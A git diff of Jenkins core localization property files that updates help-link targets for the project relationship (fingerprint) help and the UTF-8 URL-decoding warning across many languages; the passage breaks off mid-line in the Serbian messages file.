b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_bg.properties @@ -26,12 +26,12 @@ For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=\ # When you have projects that depend on each other, Jenkins can track which build of \ # the upstream project is used by which build of the downstream project, by using \ # the records created by \ -# the fingerprint support. +# the fingerprint support. body=\ \u041a\u043e\u0433\u0430\u0442\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0438 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u0435\u0434\u0438\u043d \u043e\u0442 \u0434\u0440\u0443\u0433, Jenkins \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u043b\u0435\u0434\u0438 \u043a\u043e\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043d\u0430\ \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0430\u0449 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441\u0435 \u043f\u043e\u043b\u0437\u0432\u0430 \u043e\u0442 \u0441\u043b\u0435\u0434\u0432\u0430\u0449 \u043f\u0440\u043e\u0435\u043a\u0442 \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043a\u0430\u0442\u043e \u0441\u044a\u0437\u0434\u0430\u0432\u0430 \u0431\u0430\u0437\u0430 \u043e\u0442\ \u0434\u0430\u043d\u043d\u0438 \u043e\u0442\ - \u0446\u0438\u0444\u0440\u043e\u0432\u0438\u0442\u0435\ + \u0446\u0438\u0444\u0440\u043e\u0432\u0438\u0442\u0435\ \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u044a\u0446\u0438. The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=\ \u041f\u043e\u0441\u043b\u0435\u0434\u0432\u0430\u0449\u0438\u044f\u0442 \u043f\u0440\u043e\u0435\u043a\u0442 \u043f\u0430\u0437\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u0438\u0442\u0435 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u044a\u0446\u0438 \u043d\u0430 \u0440\u0435\u0437\u0443\u043b\u0442\u0430\u0442\u0438\u0442\u0435 \u043e\u0442 \u0438\u0437\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0438\u044f\u0442\u0430 diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_de.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_de.properties index 165dda6eef..4bdff159fc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_de.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_de.properties @@ -24,7 +24,7 @@ Title=Was ist eine "Projektbeziehung"? body=\ Wenn Sie voneinander abhängige Projekte entwickeln, kann Jenkins für Sie herausfinden, welcher Build \ eines vorgelagerten Projektes für welchen Build eines nachgelagerten Projektes verwendet wurde. Dies geschieht über \ - gespeicherte "Fingerabdrücke", die mit Hilfe der Fingerabdruck-Funktion erzeugt wurden. + gespeicherte "Fingerabdrücke", die mit Hilfe der Fingerabdruck-Funktion erzeugt wurden. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Um Projektbeziehungen nachzuverfolgen, müssen folgende Bedingungen erfüllt sein: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Das vorgelagerte Projekt zeichnet Fingerabdrücke seiner Build-Artefakte auf. The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=Das nachgelagerte Projekt zeichnet Fingerabdrücke der verwendeten Dateien aus vorgelagerten Projekten auf. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_es.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_es.properties index 19caf25357..165c1ab751 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_es.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_es.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Title=¿Cual es la relación entre proyectos? -body=Cuando hay proyectos que dependen unos de otros, Jenkins puede hacer un seguimiento de qu\u00E9 proyectos padres est\u00E1n siendo utilizado por otros proyectos hijos usando un registro de firmas de los ficheros generados. Echa un vistazo a esta pagina: the fingerprint support. +body=Cuando hay proyectos que dependen unos de otros, Jenkins puede hacer un seguimiento de qu\u00E9 proyectos padres est\u00E1n siendo utilizado por otros proyectos hijos usando un registro de firmas de los ficheros generados. Echa un vistazo a esta pagina: the fingerprint support. This\ allows\ Jenkins\ to\ correlate\ two\ projects.=Esto facilita que Jenkins pueda correlacionar los dos proyectos The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Que el proyecto padre registre la firma de todos los ficheros que genera. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_et.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_et.properties index 0b3f9393b0..99238f34ce 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_et.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_et.properties @@ -5,4 +5,4 @@ The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=\u00DClesvoolu projekt salvestab oma j\u00E4rkude tulemuste s\u00F5rmej\u00E4ljed This\ allows\ Jenkins\ to\ correlate\ two\ projects.=See lubab Jenkinsil seostada kaks projekti. Title=Mis on "projektide seosed"? -body=Kui teil on kaks projekti mis s\u00F5ltuvad \u00FCksteisest, siis suudab Jenkins j\u00E4lgida seda millist \u00FClesvoolu projekti j\u00E4rku kasutatakse mingi allavoolu projekti j\u00E4rgu jaoks, kasutades s\u00F5rmej\u00E4lje toe poolt loodud kirjeid. +body=Kui teil on kaks projekti mis s\u00F5ltuvad \u00FCksteisest, siis suudab Jenkins j\u00E4lgida seda millist \u00FClesvoolu projekti j\u00E4rku kasutatakse mingi allavoolu projekti j\u00E4rgu jaoks, kasutades s\u00F5rmej\u00E4lje toe poolt loodud kirjeid. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_fr.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_fr.properties index 3facdce7f4..05a92c5a82 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_fr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_fr.properties @@ -25,7 +25,7 @@ body=\ Lorsque vous avez des projets qui dépendent les uns des autres, Jenkins peut tracer quel build \ de projet en amont est utilisé par quel build de projet en aval, en utilisant \ les enregistrements créés par \ - le support de l''empreinte numérique. + le support de l''empreinte numérique. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Pour que cette fonctionnalité marche, les conditions suivantes sont requises: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Le projet en amont enregistre les empreintes numériques de ses artefacts de build The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=Le projet en aval enregistre les empreintes num\u00E9riques des fichiers amont qu''il utilise diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ja.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ja.properties index fa09a49a64..1b333b466d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ja.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ja.properties @@ -24,7 +24,7 @@ Title="\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u76f8\u95a2\u95a2\u4fc2"\u3068\u306f body=\ \u4e92\u3044\u306b\u4f9d\u5b58\u3059\u308b\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u304c\u3042\u308b\u5834\u5408\u3001 Jenkins\u306f\u3069\u306e\u4e0a\u6d41\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u304c\u3069\u306e\u4e0b\u6d41\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u304b\u3092\u3001\ - \u6307\u7d0b\u30b5\u30dd\u30fc\u30c8\ + \u6307\u7d0b\u30b5\u30dd\u30fc\u30c8\ \u306b\u3088\u3063\u3066\u4f5c\u6210\u3055\u308c\u305f\u8a18\u9332\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u8ffd\u8de1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002 For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=\ diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_lt.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_lt.properties index 6adef736ef..8a336276e7 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_lt.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_lt.properties @@ -1,7 +1,7 @@ Title=Kas yra \u201eprojekt\u0173 priklausomyb\u0117\u201c? body=\ Kai turite projektus, kurie priklauso vienas nuo kito, naudodamas \u012fra\u0161us, sukurtus \ - pir\u0161t\u0173 antspaud\u0173 palaikymo Jenkinsas gali sekti, kuris ankstesnio projekto vykdymas \ + pir\u0161t\u0173 antspaud\u0173 palaikymo Jenkinsas gali sekti, kuris ankstesnio projekto vykdymas \ naudojamas kuriame \u017eemesnio projekto vykdyme. The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=V\u0117lesnis projektas registruoja panaudot\u0173 ankstesniojo projekto fail\u0173 antspaudus The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Ankstesnis projektas registruoja savo vykdymo rezultat\u0173 antspaudus diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_nl.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_nl.properties index 8a48bc5914..342018aebc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_nl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_nl.properties @@ -24,7 +24,7 @@ Title=Wat zijn projectrelaties? body=\ Wanneer je projecten ontwikkelt, die van elkaar afhankelijk zijn, kan Jenkins voor jou uitzoeken welke \ bouwpoging van een bovenliggend project, gebruikt wordt door een onderliggend project. Dit gebeurt aan \ - de hand van de geregistreerd elektronische vingerafdrukken van \ + de hand van de geregistreerd elektronische vingerafdrukken van \ de,door een bouwpoging, opgeleverde artefacten. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Aan volgende voorwaarden dient voldaan om met deze functionaliteit te werken: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Het bovenliggende project registreert elektronische vingerafdrukken van zijn bouwartefacten. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_pt_BR.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_pt_BR.properties index cafa0ab87c..d42583d14a 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_pt_BR.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_pt_BR.properties @@ -24,7 +24,7 @@ Title=O que \u00e9 "Projeto de relacionamento"? body=\ Quando voc\u00ea tem projetos que dependem um do outro, o Jenkins pode rastrear qual build \u00e9 hierarquicamente superior, \ usando os registros criados pelo \ - suporte de fingerprint. + suporte de fingerprint. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Para esta caracter\u00edstica funcionar, as seguintes condi\u00e7\u00f5es s\u00e3o necess\u00e1rias The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=O projeto pai grava os fingerprints de seus artefatos de build This\ allows\ Jenkins\ to\ correlate\ two\ projects.=Isto permite que o Jenkins correlacione dois projetos. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ru.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ru.properties index 83e355117e..9bb47929cc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ru.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ru.properties @@ -29,4 +29,4 @@ Title=\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 "\u043e\u0442\u043d\u043 body=\ \u041a\u043e\u0433\u0434\u0430 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b, \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0434\u0440\u0443\u0433\u043e\u0433\u043e, Jenkins \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c, \ \u043a\u0430\u043a\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430 \u0432\u043e\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043a\u0430\u043a\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0435 \u043d\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \ -\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u043e\u0432. +\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u043e\u0432. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties index 12a892d621..d4ba3a84a7 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties @@ -1,7 +1,7 @@ # This file is under the MIT License by authors Title=\u0428\u0442\u0430 \u0458\u0435 "\u0432\u0435\u0437\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430"? -body=Jenkins \u043C\u043E\u0436\u0435 \u043F\u0440\u0430\u0442\u0438\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0435 \u043A\u043E\u0458\u0438 \u0437\u0430\u0432\u0438\u0441\u0435 \u0458\u0435\u0434\u0430\u043D \u043E\u0434 \u0434\u0440\u0443\u0433\u043E\u0433 \u043A\u043E\u0440\u0438\u0441\u0442\u0435\u045B\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438 \u043E\u0442\u0438\u0441\u0430\u043A. +body=Jenkins \u043C\u043E\u0436\u0435 \u043F\u0440\u0430\u0442\u0438\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0435 \u043A\u043E\u0458\u0438 \u0437\u0430\u0432\u0438\u0441\u0435 \u0458\u0435\u0434\u0430\u043D \u043E\u0434 \u0434\u0440\u0443\u0433\u043E\u0433 \u043A\u043E\u0440\u0438\u0441\u0442\u0435\u045B\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438 \u043E\u0442\u0438\u0441\u0430\u043A. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=\u0414\u0430 \u0431\u0438 \u0442\u043E \u0440\u0430\u0434\u0438\u043B\u043E, \u0442\u0440\u0435\u0431\u0430 \u043E\u0431\u0435\u0437\u0431\u0435\u0434\u0438\u0442\u0438: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Upstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0447\u0443\u0432\u0430 \u043E\u0442\u0438\u0441\u043A\u0435 \u0441\u0432\u043E\u0458\u0438\u0445 \u0430\u0440\u0442\u0438\u0444\u0430\u043A\u0430\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=Downstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0431\u0435\u043B\u0435\u0436\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0435 \u043E\u0442\u0438\u0441\u043A\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043E\u0434 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u043E\u0434 \u043A\u043E\u0433\u0430 \u0437\u0430\u0432\u0438\u0441\u0438. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_tr.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_tr.properties index 614fb129fb..e9f0e66118 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_tr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_tr.properties @@ -22,7 +22,7 @@ Title="Proje ili\u015fkisi" nedir? body=\ - E\u011fer birbirine ba\u011fl\u0131 projeleriniz varsa, Jenkins parmakizi deste\u011fi\ + E\u011fer birbirine ba\u011fl\u0131 projeleriniz varsa, Jenkins parmakizi deste\u011fi\ ile olu\u015fturulan kay\u0131tlar\u0131 kullanarak hangi upstream projenin hangi downstream proje taraf\u0131ndan\ kullan\u0131ld\u0131\u011f\u0131n\u0131 takip edebilir. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Bu\ \u00f6zelli\u011fin\ \u00e7al\u0131\u015fabilmesi\ i\u00e7in\ devam\u0131ndaki\ \u015fartlar\u0131n\ sa\u011flanmas\u0131\ gerekir: diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_zh_TW.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_zh_TW.properties index e3be9de475..1f690fe28c 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_zh_TW.properties @@ -24,7 +24,7 @@ Title=\u4ec0\u9ebc\u662f\u300c\u5c08\u6848\u95dc\u806f\u300d? body=\ \u5982\u679c\u60a8\u7684\u5c08\u6848\u9593\u5f7c\u6b64\u6709\u95dc\u806f\uff0cJenkins \u80fd\u8ffd\u8e64\u4e0b\u6e38\u5c08\u6848\u5230\u5e95\u662f\u4f7f\u7528\u5230\u4e0a\u6e38\u5c08\u6848\u7684\u54ea\u4e00\u7248\u9032\u884c\u5efa\u69cb\u3002\ - \u9019\u500b\u529f\u80fd\u662f\u7d93\u7531\u6a94\u6848\u6307\u7d0b\u529f\u80fd\u6240\u7522\u751f\u7684\u8a18\u9304\u4f86\u9054\u6210\u3002 + \u9019\u500b\u529f\u80fd\u662f\u7d93\u7531\u6a94\u6848\u6307\u7d0b\u529f\u80fd\u6240\u7522\u751f\u7684\u8a18\u9304\u4f86\u9054\u6210\u3002 For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=\u7b26\u5408\u4e0b\u5217\u689d\u4ef6\u624d\u80fd\u4f7f\u7528\u9019\u500b\u529f\u80fd: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=\u4e0a\u6e38\u5c08\u6848\u8981\u8a18\u9304\u5efa\u7f6e\u6210\u54c1\u7684\u6307\u7d0b diff --git a/core/src/main/resources/jenkins/model/Messages.properties b/core/src/main/resources/jenkins/model/Messages.properties index 22eb57acf7..1b5a2455d1 100644 --- a/core/src/main/resources/jenkins/model/Messages.properties +++ b/core/src/main/resources/jenkins/model/Messages.properties @@ -39,8 +39,7 @@ Hudson.ViewName=All Hudson.NotUsesUTF8ToDecodeURL=\ Your container doesn\u2019t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ this will cause problems. \ - See Containers and \ - Tomcat i18n for more details. + See Tomcat i18n for more details. Hudson.NodeDescription=the master Jenkins node CLI.restart.shortDescription=Restart Jenkins. diff --git a/core/src/main/resources/jenkins/model/Messages_bg.properties b/core/src/main/resources/jenkins/model/Messages_bg.properties index a8a78a17e3..db1dee5ce7 100644 --- a/core/src/main/resources/jenkins/model/Messages_bg.properties +++ b/core/src/main/resources/jenkins/model/Messages_bg.properties @@ -53,9 +53,7 @@ Hudson.NotUsesUTF8ToDecodeURL=\ \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0438\u0442\u0435. \u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u043d\u0435\u0442\u043e \u043d\u0430 \u0437\u043d\u0430\u0446\u0438 \u0438\u0437\u0432\u044a\u043d ASCII \u0432 \u0438\u043c\u0435\u043d\u0430\u0442\u0430 \u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0438\ \u0438 \u0434\u0440. \u043c\u043e\u0436\u0435 \u0434\u0430 \u0434\u043e\u0432\u0435\u0434\u0435 \u0434\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0438. \u0417\u0430 \u043f\u043e\u0432\u0435\u0447\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u043e\u0433\u043b\u0435\u0434\u043d\u0435\u0442\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0437\u0430\ \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\ - \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0437\u0430 \ + href="https://jenkins.io/redirect/troubleshooting/utf8-url-decoding">\ \u0438\u043d\u0442\u0435\u0440\u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043d\u0430 Tomcat i18n. Hudson.NodeDescription=\ \u043e\u0441\u043d\u043e\u0432\u043d\u0438\u044f\u0442 \u043a\u043e\u043c\u043f\u044e\u0442\u044a\u0440 \u043d\u0430 Jenkins diff --git a/core/src/main/resources/jenkins/model/Messages_de.properties b/core/src/main/resources/jenkins/model/Messages_de.properties index e2c1e1664c..7f137e474a 100644 --- a/core/src/main/resources/jenkins/model/Messages_de.properties +++ b/core/src/main/resources/jenkins/model/Messages_de.properties @@ -36,8 +36,7 @@ Hudson.ViewName=Alle Hudson.NotUsesUTF8ToDecodeURL=\ Ihr Container verwendet kein UTF-8, um URLs zu dekodieren. Falls Sie Nicht-ASCII-Zeichen \ in Jobnamen usw. verwenden, kann dies Probleme mit sich bringen. Beachten Sie bitte die Hinweise zu \ - Containern bzw. \ - Tomcat i18N). + Tomcat i18N). Hudson.ReadPermission.Description=\ Dieses Recht ist notwendig, um so gut wie alle Jenkins-Seiten aufzurufen. \ Dieses Recht ist dann n\u00fctzlich, wenn Sie anonymen Benutzern den Zugriff \ diff --git a/core/src/main/resources/jenkins/model/Messages_es.properties b/core/src/main/resources/jenkins/model/Messages_es.properties index ac1f233aed..b4aae441ff 100644 --- a/core/src/main/resources/jenkins/model/Messages_es.properties +++ b/core/src/main/resources/jenkins/model/Messages_es.properties @@ -35,8 +35,7 @@ Hudson.ViewName=Todo Hudson.NotUsesUTF8ToDecodeURL=\ El contenedor de servlets no usa UTF-8 para decodificar URLs. Esto causar\u00e1 problemas si se usan nombres \ con caracteres no ASCII. Echa un vistazo a \ - Containers y a \ - Tomcat i18n para mas detalles. + Tomcat i18n para mas detalles. Hudson.ReadPermission.Description=\ El permiso de lectura es necesario para visualizar casi todas las p\u00e1ginas de Jenkins.\ Este permiso es \u00fatil cuando se quiere que usuarios no autenticados puedan ver las p\u00e1ginas. \ diff --git a/core/src/main/resources/jenkins/model/Messages_fr.properties b/core/src/main/resources/jenkins/model/Messages_fr.properties index e7f3ca0fa7..580e44c5b4 100644 --- a/core/src/main/resources/jenkins/model/Messages_fr.properties +++ b/core/src/main/resources/jenkins/model/Messages_fr.properties @@ -34,8 +34,7 @@ Hudson.ViewName=Tous Hudson.NotUsesUTF8ToDecodeURL=\ Votre conteneur n''utilise pas UTF-8 pour d\u00e9coder les URLs. Si vous utilisez des caract\u00e8res non-ASCII \ dans le nom d''un job ou autre, cela causera des probl\u00e8mes. \ - Consultez les pages sur les conteneurs et \ - sur Tomcat i18n pour plus de d\u00e9tails. + Consultez les pages sur les Tomcat i18n pour plus de d\u00e9tails. Hudson.ReadPermission.Description=\ Le droit en lecture est n\u00e9cessaire pour voir la plupart des pages de Jenkins. \ Ce droit est utile quand vous ne voulez pas que les utilisateurs non authentifi\u00e9s puissent voir les pages Jenkins \ diff --git a/core/src/main/resources/jenkins/model/Messages_ja.properties b/core/src/main/resources/jenkins/model/Messages_ja.properties index ffe68edd62..4367461436 100644 --- a/core/src/main/resources/jenkins/model/Messages_ja.properties +++ b/core/src/main/resources/jenkins/model/Messages_ja.properties @@ -35,8 +35,7 @@ Hudson.ViewAlreadyExists="{0}"\u3068\u3044\u3046\u30d3\u30e5\u30fc\u306f\u65e2\u Hudson.ViewName=\u3059\u3079\u3066 Hudson.NotUsesUTF8ToDecodeURL=\ URL\u304cUTF-8\u3067\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002\u30b8\u30e7\u30d6\u540d\u306a\u3069\u306bnon-ASCII\u306a\u6587\u5b57\u3092\u4f7f\u7528\u3059\u308b\u5834\u5408\u306f\u3001\ - \u30b3\u30f3\u30c6\u30ca\u306e\u8a2d\u5b9a\u3084\ - Tomcat i18N\u3092\u53c2\u8003\u306b\u8a2d\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 + Tomcat i18N\u3092\u53c2\u8003\u306b\u8a2d\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 Hudson.ReadPermission.Description=\ \u53c2\u7167\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u306f\u3001Jenkins\u306e\u307b\u307c\u3059\u3079\u3066\u306e\u753b\u9762\u3092\u53c2\u7167\u3059\u308b\u306e\u306b\u5fc5\u8981\u3067\u3059\u3002\ \u3053\u306e\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u306f\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u306b\u306fJenkins\u306e\u753b\u9762\u3092\u53c2\u7167\u3055\u305b\u305f\u304f\u306a\u3044\u5834\u5408\u306b\u4fbf\u5229\u3067\u3059\u3002\ diff --git a/core/src/main/resources/jenkins/model/Messages_sr.properties b/core/src/main/resources/jenkins/model/Messages_sr.properties index 0d1216dd91..ce97ae2691 100644 --- a/core/src/main/resources/jenkins/model/Messages_sr.properties +++ b/core/src/main/resources/jenkins/model/Messages_sr.properties @@ -13,8 +13,8 @@ Hudson.JobNameConventionNotApplyed=\u2018{0}\u2019 \u043D\u0435 \u043E\u0434\u04 Hudson.ViewAlreadyExists=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C \u2018{0}\u2019 \u0432\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 Hudson.JobAlreadyExists=\u0417\u0430\u0434\u0430\u0442\u0430\u043A \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C \u2018{0}\u2019 \u0432\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 Hudson.ViewName=\u0421\u0432\u0435 -Hudson.NotUsesUTF8ToDecodeURL=\u0412\u0430\u0448 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440 \u043D\u0435 \u043A\u043E\u0440\u0438\u0441\u0442 UTF-8 \u0437\u0430 \u0434\u0435\u043A\u043E\u0434\u0438\u0440\u0430\u045A\u0435 URL-\u0430\u0434\u0440\u0435\u0441\u0435. \u0410\u043A\u043E \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u0430\u0440\u0430\u043A\u0442\u0435\u0440\u0435 \u0432\u0430\u043D ASCII \u043D\u0438\u0437\u0430 \u0443 \u0438\u043C\u0435\u043D\u0443 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430, \u0438\u0442\u0434, \u043C\u043E\u0436\u0435 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041E\u0442\u0438\u0452\u0438 \u0442\u0435 \u043D\u0430 \u041A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438 \u0438 \ - Tomcat i18n \u0437\u0430 \u0458\u043E\u0448 \u0434\u0435\u0442\u0430\u0459\u0430. +Hudson.NotUsesUTF8ToDecodeURL=\u0412\u0430\u0448 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440 \u043D\u0435 \u043A\u043E\u0440\u0438\u0441\u0442 UTF-8 \u0437\u0430 \u0434\u0435\u043A\u043E\u0434\u0438\u0440\u0430\u045A\u0435 URL-\u0430\u0434\u0440\u0435\u0441\u0435. \u0410\u043A\u043E \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 